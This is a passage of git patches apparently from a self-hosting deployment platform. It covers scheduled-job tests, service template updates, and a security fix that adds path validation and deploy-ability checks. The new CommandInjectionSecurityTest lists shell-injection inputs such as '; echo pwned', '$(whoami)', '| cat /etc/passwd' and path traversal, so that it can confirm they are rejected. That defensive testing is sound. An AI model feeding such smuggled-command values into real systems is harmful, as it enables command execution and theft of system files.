->assertSee('Scheduled Job Issues'); +}); + +test('scheduled jobs page shows failed backup executions', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + $server = Server::factory()->create(['team_id' => $this->rootTeam->id]); + + $backup = ScheduledDatabaseBackup::create([ + 'team_id' => $this->rootTeam->id, + 'frequency' => '0 * * * *', + 'database_id' => 1, + 'database_type' => 'App\Models\StandalonePostgresql', + 'enabled' => true, + ]); + + ScheduledDatabaseBackupExecution::create([ + 'scheduled_database_backup_id' => $backup->id, + 'status' => 'failed', + 'message' => 'Backup failed: connection timeout', + ]); + + Livewire::test(ScheduledJobs::class) + ->assertStatus(200) + ->assertSee('Backup'); +}); + +test('scheduled jobs page shows failed cleanup executions', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + $server = Server::factory()->create([ + 'team_id' => $this->rootTeam->id, + ]); + + DockerCleanupExecution::create([ + 'server_id' => $server->id, + 'status' => 'failed', + 'message' => 'Cleanup failed: disk full', + ]); + + Livewire::test(ScheduledJobs::class) + ->assertStatus(200) + ->assertSee('Cleanup'); +}); + +test('filter by type works', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + Livewire::test(ScheduledJobs::class) + ->set('filterType', 'backup') + ->assertStatus(200) + ->set('filterType', 'cleanup') + ->assertStatus(200) + ->set('filterType', 'task') + ->assertStatus(200); +}); + +test('only failed executions are shown', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + $backup = ScheduledDatabaseBackup::create([ + 'team_id' => $this->rootTeam->id, + 'frequency' => '0 * * * *', + 'database_id' => 1, + 'database_type' => 'App\Models\StandalonePostgresql', + 'enabled' => true, + ]); + + ScheduledDatabaseBackupExecution::create([ + 'scheduled_database_backup_id' => $backup->id, + 'status' => 'success', + 'message' => 'Backup completed successfully', + ]); + + ScheduledDatabaseBackupExecution::create([ + 'scheduled_database_backup_id' => $backup->id, + 'status' => 'failed', + 'message' => 'Backup failed: connection refused', + ]); + + Livewire::test(ScheduledJobs::class) + ->assertSee('Backup failed: connection refused') + ->assertDontSee('Backup completed successfully'); +}); + +test('filter by date range works', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + Livewire::test(ScheduledJobs::class) + ->set('filterDate', 'last_7d') + ->assertStatus(200) + ->set('filterDate', 'last_30d') + ->assertStatus(200) + ->set('filterDate', 'all') + ->assertStatus(200); +}); + +test('scheduler log parser returns empty collection when no logs exist', function () { + $parser = new SchedulerLogParser; + + $skips = $parser->getRecentSkips(); + expect($skips)->toBeEmpty(); + + $runs = $parser->getRecentRuns(); + expect($runs)->toBeEmpty(); +})->skip(fn () => file_exists(storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log')), 'Skipped: log file already exists from other tests'); + +test('scheduler log parser parses skip entries correctly', function () { + $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); + $logDir = dirname($logPath); + if (! is_dir($logDir)) { + mkdir($logDir, 0755, true); + } + + $logLine = '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","execution_time":"'.now()->toIso8601String().'","backup_id":1,"team_id":5}'; + file_put_contents($logPath, $logLine."\n"); + + $parser = new SchedulerLogParser; + $skips = $parser->getRecentSkips(); + + expect($skips)->toHaveCount(1); + expect($skips->first()['type'])->toBe('backup'); + expect($skips->first()['reason'])->toBe('server_not_functional'); + expect($skips->first()['team_id'])->toBe(5); + + // Cleanup + @unlink($logPath); +}); + +test('scheduler log parser filters by team id', function () { + $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); + $logDir = dirname($logPath); + if (! is_dir($logDir)) { + mkdir($logDir, 0755, true); + } + + $lines = [ + '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","team_id":1}', + '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"subscription_unpaid","team_id":2}', + ]; + file_put_contents($logPath, implode("\n", $lines)."\n"); + + $parser = new SchedulerLogParser; + + $allSkips = $parser->getRecentSkips(100); + expect($allSkips)->toHaveCount(2); + + $team1Skips = $parser->getRecentSkips(100, 1); + expect($team1Skips)->toHaveCount(1); + expect($team1Skips->first()['team_id'])->toBe(1); + + // Cleanup + @unlink($logPath); +}); From c1951726c0a9afbf81a10473de124ad8d12d7ed5 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sat, 21 Feb 2026 21:42:28 +0530 Subject: [PATCH 064/305] feat(service): disable pterodactyl panel and pterodactyl wings The template is using latest version of pterodactyl and the issue is the db migration fails for new users but works fine for existing deployments. We cannot revert the template to previous version because the current latest version addresses few CVEs so it's better to disable this template for now --- templates/compose/pterodactyl-panel.yaml | 3 ++- templates/compose/pterodactyl-with-wings.yaml | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/templates/compose/pterodactyl-panel.yaml b/templates/compose/pterodactyl-panel.yaml index 9a3f6c779..c86d9d468 100644 --- a/templates/compose/pterodactyl-panel.yaml +++ b/templates/compose/pterodactyl-panel.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://pterodactyl.io/ # slogan: Pterodactyl is a free, open-source game server management panel # category: media @@ -102,4 +103,4 @@ services: - MAIL_PORT=$MAIL_PORT - MAIL_USERNAME=$MAIL_USERNAME - MAIL_PASSWORD=$MAIL_PASSWORD - - MAIL_ENCRYPTION=$MAIL_ENCRYPTION + - MAIL_ENCRYPTION=$MAIL_ENCRYPTION \ No newline at end of file diff --git a/templates/compose/pterodactyl-with-wings.yaml b/templates/compose/pterodactyl-with-wings.yaml index 6e1e3614c..20465a139 100644 --- a/templates/compose/pterodactyl-with-wings.yaml +++ b/templates/compose/pterodactyl-with-wings.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://pterodactyl.io/ # slogan: Pterodactyl is a free, open-source game server management panel # category: media From 76d3709163e7d1625d008a2881eb375234ab998a Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sat, 21 Feb 2026 23:17:23 +0530 Subject: [PATCH 065/305] feat(service): upgrade beszel and beszel-agent to v0.18 --- templates/compose/beszel-agent.yaml | 21 +++++++++++++++---- templates/compose/beszel.yaml | 32 +++++++++++++++++++++++------ 2 files changed, 43 insertions(+), 10 deletions(-) diff --git a/templates/compose/beszel-agent.yaml b/templates/compose/beszel-agent.yaml index a318f4702..5d0b4fecc 100644 --- a/templates/compose/beszel-agent.yaml +++ b/templates/compose/beszel-agent.yaml @@ -6,13 +6,26 @@ services: beszel-agent: - image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025 + image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026 + network_mode: host # Network stats graphs won't work if agent cannot access host system network stack environment: + # Required - LISTEN=/beszel_socket/beszel.sock - - HUB_URL=${HUB_URL?} - - 'TOKEN=${TOKEN?}' - - 'KEY=${KEY?}' + - HUB_URL=$SERVICE_URL_BESZEL + - TOKEN=${TOKEN} # From hub token settings + - KEY=${KEY} # SSH public key(s) from hub + # Optional + - DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH + - LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level + - SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring + - SYSTEM_NAME=${SYSTEM_NAME} # Custom system name volumes: - beszel_agent_data:/var/lib/beszel-agent - beszel_socket:/beszel_socket - '/var/run/docker.sock:/var/run/docker.sock:ro' + healthcheck: + test: ['CMD', '/agent', 'health'] + interval: 60s + timeout: 20s + retries: 10 + start_period: 5s \ No newline at end of file diff --git a/templates/compose/beszel.yaml b/templates/compose/beszel.yaml index cba11e4bb..bc68c1825 100644 --- a/templates/compose/beszel.yaml +++ b/templates/compose/beszel.yaml @@ -9,21 +9,41 @@ # Add the public Key in "Key" env variable and token in the "Token" variable below (These are obtained from Beszel UI) services: beszel: - image: 'henrygd/beszel:0.16.1' # Released on 14 Nov 2025 + image: 'henrygd/beszel:0.18.4' # Released on 21 Feb 2026 environment: - SERVICE_URL_BESZEL_8090 + - CONTAINER_DETAILS=${CONTAINER_DETAILS:-true} + - SHARE_ALL_SYSTEMS=${SHARE_ALL_SYSTEMS:-false} volumes: - 'beszel_data:/beszel_data' - 'beszel_socket:/beszel_socket' + healthcheck: + test: ['CMD', '/beszel', 'health', '--url', 'http://localhost:8090'] + interval: 30s + timeout: 20s + retries: 10 + start_period: 5s beszel-agent: - image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025 + image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026 + network_mode: host # Network stats graphs won't work if agent cannot access host system network stack environment: + # Required - LISTEN=/beszel_socket/beszel.sock - - HUB_URL=http://beszel:8090 - - 'TOKEN=${TOKEN}' - - 'KEY=${KEY}' + - HUB_URL=$SERVICE_URL_BESZEL + - TOKEN=${TOKEN} # From hub token settings + - KEY=${KEY} # SSH public key(s) from hub + # Optional + - DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH + - LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level + - SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring + - SYSTEM_NAME=${SYSTEM_NAME} # Custom system name volumes: - beszel_agent_data:/var/lib/beszel-agent - beszel_socket:/beszel_socket - '/var/run/docker.sock:/var/run/docker.sock:ro' - + healthcheck: + test: ['CMD', '/agent', 'health'] + interval: 60s + timeout: 20s + retries: 10 + start_period: 5s \ No newline at end of file From 73170fdd33783337a91b27191f126cbd5c61faed Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Feb 2026 12:12:10 +0100 Subject: [PATCH 066/305] chore: prepare for PR --- .../Api/ApplicationsController.php | 4 - app/Http/Controllers/Api/DeployController.php | 4 + app/Jobs/ApplicationDeploymentJob.php | 18 +- app/Livewire/Project/Application/General.php | 4 +- .../Project/New/GithubPrivateRepository.php | 2 + .../New/GithubPrivateRepositoryDeployKey.php | 2 + .../Project/New/PublicGitRepository.php | 4 +- bootstrap/helpers/api.php | 4 +- database/seeders/ApplicationSeeder.php | 2 +- routes/api.php | 18 +- .../Feature/CommandInjectionSecurityTest.php | 276 ++++++++++++++++++ 11 files changed, 315 insertions(+), 23 deletions(-) create mode 100644 tests/Feature/CommandInjectionSecurityTest.php diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 57bcc13f6..256308afd 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -1101,7 +1101,6 @@ private function create_application(Request $request, $type) 'git_branch' => ['string', 'required', new ValidGitBranch], 'build_pack' => ['required', Rule::enum(BuildPackTypes::class)], 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required', - 'docker_compose_location' => 'string', 'docker_compose_domains' => 'array|nullable', 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', @@ -1297,7 +1296,6 @@ private function create_application(Request $request, $type) 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required', 'github_app_uuid' => 'string|required', 'watch_paths' => 'string|nullable', - 'docker_compose_location' => 'string', 'docker_compose_domains' => 'array|nullable', 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', @@ -1525,7 +1523,6 @@ private function create_application(Request $request, $type) 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required', 'private_key_uuid' => 'string|required', 'watch_paths' => 'string|nullable', - 'docker_compose_location' => 'string', 'docker_compose_domains' => 'array|nullable', 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', @@ -2470,7 +2467,6 @@ public function update_by_uuid(Request $request) 'description' => 'string|nullable', 'static_image' => 'string', 'watch_paths' => 'string|nullable', - 'docker_compose_location' => 'string', 'docker_compose_domains' => 'array|nullable', 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', diff --git a/app/Http/Controllers/Api/DeployController.php b/app/Http/Controllers/Api/DeployController.php index baff3ec4f..a21940257 100644 --- a/app/Http/Controllers/Api/DeployController.php +++ b/app/Http/Controllers/Api/DeployController.php @@ -127,6 +127,10 @@ public function deployment_by_uuid(Request $request) if (! $deployment) { return response()->json(['message' => 'Deployment not found.'], 404); } + $application = $deployment->application; + if (! $application || data_get($application->team(), 'id') !== $teamId) { + return response()->json(['message' => 'Deployment not found.'], 404); + } return response()->json($this->removeSensitiveData($deployment)); } diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index eaee7e221..ee1f6d810 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -251,7 +251,7 @@ public function __construct(public int $application_deployment_queue_id) } if ($this->application->build_pack === 'dockerfile') { if (data_get($this->application, 'dockerfile_location')) { - $this->dockerfile_location = $this->application->dockerfile_location; + $this->dockerfile_location = $this->validatePathField($this->application->dockerfile_location, 'dockerfile_location'); } } } @@ -571,7 +571,7 @@ private function deploy_dockerimage_buildpack() private function deploy_docker_compose_buildpack() { if (data_get($this->application, 'docker_compose_location')) { - $this->docker_compose_location = $this->application->docker_compose_location; + $this->docker_compose_location = $this->validatePathField($this->application->docker_compose_location, 'docker_compose_location'); } if (data_get($this->application, 'docker_compose_custom_start_command')) { $this->docker_compose_custom_start_command = $this->application->docker_compose_custom_start_command; @@ -831,7 +831,7 @@ private function deploy_dockerfile_buildpack() $this->server = $this->build_server; } if (data_get($this->application, 'dockerfile_location')) { - $this->dockerfile_location = $this->application->dockerfile_location; + $this->dockerfile_location = $this->validatePathField($this->application->dockerfile_location, 'dockerfile_location'); } $this->prepare_builder_image(); $this->check_git_if_build_needed(); @@ -3879,6 +3879,18 @@ private function add_build_secrets_to_compose($composeFile) return $composeFile; } + private function validatePathField(string $value, string $fieldName): string + { + if (! preg_match('/^\/[a-zA-Z0-9._\-\/]+$/', $value)) { + throw new \RuntimeException("Invalid {$fieldName}: contains forbidden characters."); + } + if (str_contains($value, '..')) { + throw new \RuntimeException("Invalid {$fieldName}: path traversal detected."); + } + + return $value; + } + private function run_pre_deployment_command() { if (empty($this->application->pre_deployment_command)) { diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index b7c17fcc3..008bd3905 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -73,7 +73,7 @@ class General extends Component #[Validate(['string', 'nullable'])] public ?string $dockerfile = null; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'])] public ?string $dockerfileLocation = null; #[Validate(['string', 'nullable'])] @@ -85,7 +85,7 @@ class General extends Component #[Validate(['string', 'nullable'])] public ?string $dockerRegistryImageTag = null; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'])] public ?string $dockerComposeLocation = null; #[Validate(['string', 'nullable'])] diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index 6acb17f82..1bb276b89 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -163,10 +163,12 @@ public function submit() 'selected_repository_owner' => $this->selected_repository_owner, 'selected_repository_repo' => $this->selected_repository_repo, 'selected_branch_name' => $this->selected_branch_name, + 'docker_compose_location' => $this->docker_compose_location, ], [ 'selected_repository_owner' => 'required|string|regex:/^[a-zA-Z0-9\-_]+$/', 'selected_repository_repo' => 'required|string|regex:/^[a-zA-Z0-9\-_\.]+$/', 'selected_branch_name' => ['required', 'string', new ValidGitBranch], + 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], ]); if ($validator->fails()) { diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index 77b106200..f52c01e91 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -64,6 +64,7 @@ class GithubPrivateRepositoryDeployKey extends Component 'is_static' => 'required|boolean', 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', + 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], ]; protected function rules() @@ -75,6 +76,7 @@ protected function rules() 'is_static' => 'required|boolean', 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', + 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], ]; } diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index 2fffff6b9..a08c448dd 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -70,7 +70,7 @@ class PublicGitRepository extends Component 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', 'base_directory' => 'nullable|string', - 'docker_compose_location' => 'nullable|string', + 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], ]; protected function rules() @@ -82,7 +82,7 @@ protected function rules() 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', 'base_directory' => 'nullable|string', - 'docker_compose_location' => 'nullable|string', + 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], 'git_branch' => ['required', 'string', new ValidGitBranch], ]; } diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index d5c2c996b..5674d37f6 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -132,8 +132,8 @@ function sharedDataApplications() 'manual_webhook_secret_gitlab' => 'string|nullable', 'manual_webhook_secret_bitbucket' => 'string|nullable', 'manual_webhook_secret_gitea' => 'string|nullable', - 'dockerfile_location' => 'string|nullable', - 'docker_compose_location' => 'string', + 'dockerfile_location' => ['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], + 'docker_compose_location' => ['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], 'docker_compose' => 'string|nullable', 'docker_compose_domains' => 'array|nullable', 'docker_compose_custom_start_command' => 'string|nullable', diff --git a/database/seeders/ApplicationSeeder.php b/database/seeders/ApplicationSeeder.php index f5a00fe15..18ffbe166 100644 --- a/database/seeders/ApplicationSeeder.php +++ b/database/seeders/ApplicationSeeder.php @@ -21,7 +21,7 @@ public function run(): void 'git_repository' => 'coollabsio/coolify-examples', 'git_branch' => 'v4.x', 'base_directory' => '/docker-compose', - 'docker_compose_location' => 'docker-compose-test.yaml', + 'docker_compose_location' => '/docker-compose-test.yaml', 'build_pack' => 'dockercompose', 'ports_exposes' => '80', 'environment_id' => 1, diff --git a/routes/api.php b/routes/api.php index c39f22c02..56f984245 100644 --- a/routes/api.php +++ b/routes/api.php @@ -121,9 +121,9 @@ Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read']); - Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:write']); + Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:deploy']); Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']); Route::post('/github-apps', [GithubController::class, 'create_github_app'])->middleware(['api.ability:write']); @@ -152,9 +152,9 @@ Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']); Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:write']); + Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:deploy']); Route::get('/services', [ServicesController::class, 'services'])->middleware(['api.ability:read']); Route::post('/services', [ServicesController::class, 'create_service'])->middleware(['api.ability:write']); @@ -169,9 +169,9 @@ Route::patch('/services/{uuid}/envs', [ServicesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); Route::delete('/services/{uuid}/envs/{env_uuid}', [ServicesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/services/{uuid}/start', [ServicesController::class, 'action_deploy'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/services/{uuid}/restart', [ServicesController::class, 'action_restart'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/services/{uuid}/stop', [ServicesController::class, 'action_stop'])->middleware(['api.ability:write']); + Route::match(['get', 'post'], '/services/{uuid}/start', [ServicesController::class, 'action_deploy'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/services/{uuid}/restart', [ServicesController::class, 'action_restart'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/services/{uuid}/stop', [ServicesController::class, 'action_stop'])->middleware(['api.ability:deploy']); Route::get('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_application_uuid'])->middleware(['api.ability:read']); Route::post('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php new file mode 100644 index 000000000..47e9f3b35 --- /dev/null +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -0,0 +1,276 @@ +getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/Dockerfile; echo pwned', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); + + test('rejects backtick injection', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/Dockerfile`whoami`', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); + + test('rejects dollar sign variable expansion', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/Dockerfile$(whoami)', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); + + test('rejects pipe injection', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/Dockerfile | cat /etc/passwd', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); + + test('rejects ampersand injection', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/Dockerfile && env', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); + + test('rejects path traversal', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/../../../etc/passwd', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'path traversal detected'); + }); + + test('allows valid simple path', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect($method->invoke($instance, '/Dockerfile', 'dockerfile_location')) + ->toBe('/Dockerfile'); + }); + + test('allows valid nested path with dots and hyphens', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect($method->invoke($instance, '/docker/Dockerfile.prod', 'dockerfile_location')) + ->toBe('/docker/Dockerfile.prod'); + }); + + test('allows valid compose file path', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect($method->invoke($instance, '/docker-compose.prod.yml', 'docker_compose_location')) + ->toBe('/docker-compose.prod.yml'); + }); +}); + +describe('API validation rules for path fields', function () { + test('dockerfile_location validation rejects shell metacharacters', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_location' => '/Dockerfile; echo pwned; #'], + ['dockerfile_location' => $rules['dockerfile_location']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('dockerfile_location validation allows valid paths', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_location' => '/docker/Dockerfile.prod'], + ['dockerfile_location' => $rules['dockerfile_location']] + ); + + expect($validator->fails())->toBeFalse(); + }); + + test('docker_compose_location validation rejects shell metacharacters', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_location' => '/docker-compose.yml; env; #'], + ['docker_compose_location' => $rules['docker_compose_location']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('docker_compose_location validation allows valid paths', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_location' => '/docker/docker-compose.prod.yml'], + ['docker_compose_location' => $rules['docker_compose_location']] + ); + + expect($validator->fails())->toBeFalse(); + }); +}); + +describe('sharedDataApplications rules survive array_merge in controller', function () { + test('docker_compose_location safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + // Simulate what ApplicationsController does: array_merge(shared, local) + // After our fix, local no longer contains docker_compose_location, + // so the shared regex rule must survive + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + // The merged rules for docker_compose_location should be the safe regex, not just 'string' + expect($merged['docker_compose_location'])->toBeArray(); + expect($merged['docker_compose_location'])->toContain('regex:/^\/[a-zA-Z0-9._\-\/]+$/'); + }); +}); + +describe('path fields require leading slash', function () { + test('dockerfile_location without leading slash is rejected by API rules', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_location' => 'Dockerfile'], + ['dockerfile_location' => $rules['dockerfile_location']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('docker_compose_location without leading slash is rejected by API rules', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_location' => 'docker-compose.yaml'], + ['docker_compose_location' => $rules['docker_compose_location']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('deployment job rejects path without leading slash', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, 'docker-compose.yaml', 'docker_compose_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); +}); + +describe('API route middleware for deploy actions', function () { + test('application start route requires deploy ability', function () { + $routes = app('router')->getRoutes(); + $route = $routes->getByAction('App\Http\Controllers\Api\ApplicationsController@action_deploy'); + + expect($route)->not->toBeNull(); + $middleware = $route->gatherMiddleware(); + expect($middleware)->toContain('api.ability:deploy'); + expect($middleware)->not->toContain('api.ability:write'); + }); + + test('application restart route requires deploy ability', function () { + $routes = app('router')->getRoutes(); + $matchedRoute = null; + foreach ($routes as $route) { + if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'restart')) { + $matchedRoute = $route; + break; + } + } + + expect($matchedRoute)->not->toBeNull(); + $middleware = $matchedRoute->gatherMiddleware(); + expect($middleware)->toContain('api.ability:deploy'); + }); + + test('application stop route requires deploy ability', function () { + $routes = app('router')->getRoutes(); + $matchedRoute = null; + foreach ($routes as $route) { + if (str_contains($route->uri(), 